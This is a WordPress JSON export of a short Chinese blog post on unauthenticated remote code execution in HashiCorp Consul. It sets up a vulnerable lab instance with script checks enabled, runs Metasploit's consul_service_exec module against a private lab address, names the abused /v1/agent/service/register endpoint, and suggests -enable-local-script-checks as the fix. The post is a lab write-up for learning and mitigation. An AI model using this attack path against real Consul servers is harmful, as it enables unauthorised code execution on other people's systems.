{"id":104,"date":"2019-12-30T18:37:47","date_gmt":"2019-12-30T10:37:47","guid":{"rendered":"http:\/\/blog.73007300.xyz\/?p=104"},"modified":"2019-12-30T18:48:10","modified_gmt":"2019-12-30T10:48:10","slug":"consul%e6%9c%8d%e5%8a%a1%e6%9c%aa%e9%89%b4%e6%9d%83%e5%af%bc%e8%87%b4%e5%8e%9f%e5%88%9b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=104","title":{"rendered":"Consul\u670d\u52a1\u672a\u9274\u6743\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"content":{"rendered":"\n<p>\u4e0b\u8f7d\uff1a<br> https:\/\/www.consul.io\/downloads.html <br> \u5b98\u65b9\u6587\u6863\uff1a<br> https:\/\/learn.hashicorp.com\/consul\/getting-started\/services <br> \u5229\u7528\uff1a<br> https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/misc\/consul_service_exec <br> https:\/\/www.exploit-db.com\/exploits\/46074 <br> https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/documentation\/modules\/exploit\/multi\/misc\/consul_service_exec.md <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5e38\u7528\u64cd\u4f5c<\/h2>\n\n\n\n<p>\u4e0b\u8f7d\u540e\u89e3\u538b,\u542f\u52a8agent:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ .\/consul agent -dev<\/code><\/pre>\n\n\n\n<p>\u67e5\u770b\u6210\u5458\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ consul members<\/code><\/pre>\n\n\n\n<p>\u67e5\u770b\u8282\u70b9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl localhost:8500\/v1\/catalog\/nodes<\/code><\/pre>\n\n\n\n<p>\u505c\u6b62\u8fd9\u4e2a\u8282\u70b9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> $  consul leave<\/code><\/pre>\n\n\n\n<p>\u9ed8\u8ba4\u7684\u8bdd\u662f\u65e0\u6cd5\u4ece\u5916\u90e8\u76f4\u63a5\u8bbf\u95ee\u7684\uff0c\u9700\u8981\u989d\u5916\u914d\u7f6e\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528<\/h2>\n\n\n\n<p>\u542f\u52a8\u4e00\u4e2a\u53ef\u4ee5\u88ab\u5229\u7528\u7684\u670d\u52a1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/consul agent -dev -client 0.0.0.0 -enable-script-checks<\/code><\/pre>\n\n\n\n<p>\u5229\u7528(metasploit)\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use exploit\/multi\/misc\/consul_service_exec\nset RHOSTS 192.168.23.130\nrun<\/code><\/pre>\n\n\n\n<p>\u6293\u5305\u53ef\u77e5\uff0c\u5728\u672a\u9274\u6743\u7684\u60c5\u51b5\u4e0b\uff0c\u901a\u8fc7\u5411\/v1\/agent\/service\/register\u63a5\u53e3\u53d1\u9001\u7cbe\u5fc3\u6784\u9020\u7684put\u8bf7\u6c42\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1254\" height=\"352\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2019\/12\/image-13.png\" alt=\"\" class=\"wp-image-105\"\/><\/figure>\n\n\n\n<p>\u56e0\u6b64\uff0c\u542f\u52a8\u53c2\u6570\u4e2d\u82e5\u5e26 <a href=\"https:\/\/www.consul.io\/docs\/agent\/options.html#_enable_script_checks\"><code>-enable-script-checks<\/code><\/a> \uff0c\u672a\u9274\u6743\u7684Consul\u670d\u52a1\u53ef\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002\u53ef\u4ee5\u7528 <code>-enable-local-script-checks<\/code> \u66ff\u6362\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0b\u8f7d\uff1a https:\/\/www.consul.io\/downloads.html \u5b98\u65b9\u6587\u6863\uff1a https:\/\/learn.hashicorp.com\/consul\/getting-started\/services \u5229\u7528\uff1a https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/misc\/consul_service_exec https:\/\/www.exploit-db.com\/exploits\/46074 https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/documentation\/modules\/exploit\/multi\/misc\/consul_service_exec.md \u5e38\u7528\u64cd\u4f5c \u4e0b\u8f7d\u540e\u89e3\u538b,\u542f\u52a8agent: \u67e5\u770b\u6210\u5458\uff1a \u67e5\u770b\u8282\u70b9\uff1a \u505c\u6b62\u8fd9\u4e2a\u8282\u70b9\uff1a \u9ed8\u8ba4\u7684\u8bdd\u662f\u65e0\u6cd5\u4ece\u5916\u90e8\u76f4\u63a5\u8bbf\u95ee\u7684\uff0c\u9700\u8981\u989d\u5916\u914d\u7f6e\u3002 \u5229\u7528 \u542f\u52a8\u4e00\u4e2a\u53ef\u4ee5\u88ab\u5229\u7528\u7684\u670d\u52a1\uff1a \u5229\u7528(metasploit)\uff1a \u6293\u5305\u53ef\u77e5\uff0c\u5728\u672a\u9274\u6743\u7684\u60c5\u51b5\u4e0b\uff0c\u901a\u8fc7\u5411\/v1\/agent\/service\/register\u63a5\u53e3\u53d1\u9001\u7cbe\u5fc3\u6784\u9020\u7684put\u8bf7\u6c42\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002 \u56e0\u6b64\uff0c\u542f\u52a8\u53c2\u6570\u4e2d\u82e5\u5e26 -enable-script-checks \uff0c\u672a\u9274\u6743\u7684Consul\u670d\u52a1\u53ef\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002\u53ef\u4ee5\u7528 -enable-local-script-checks \u66ff\u6362\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,4],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/104"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=104"}],"version-history":[{"count":3,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/104\/revisions"}],"predecessor-version":[{"id":108,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/104\/revisions\/108"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}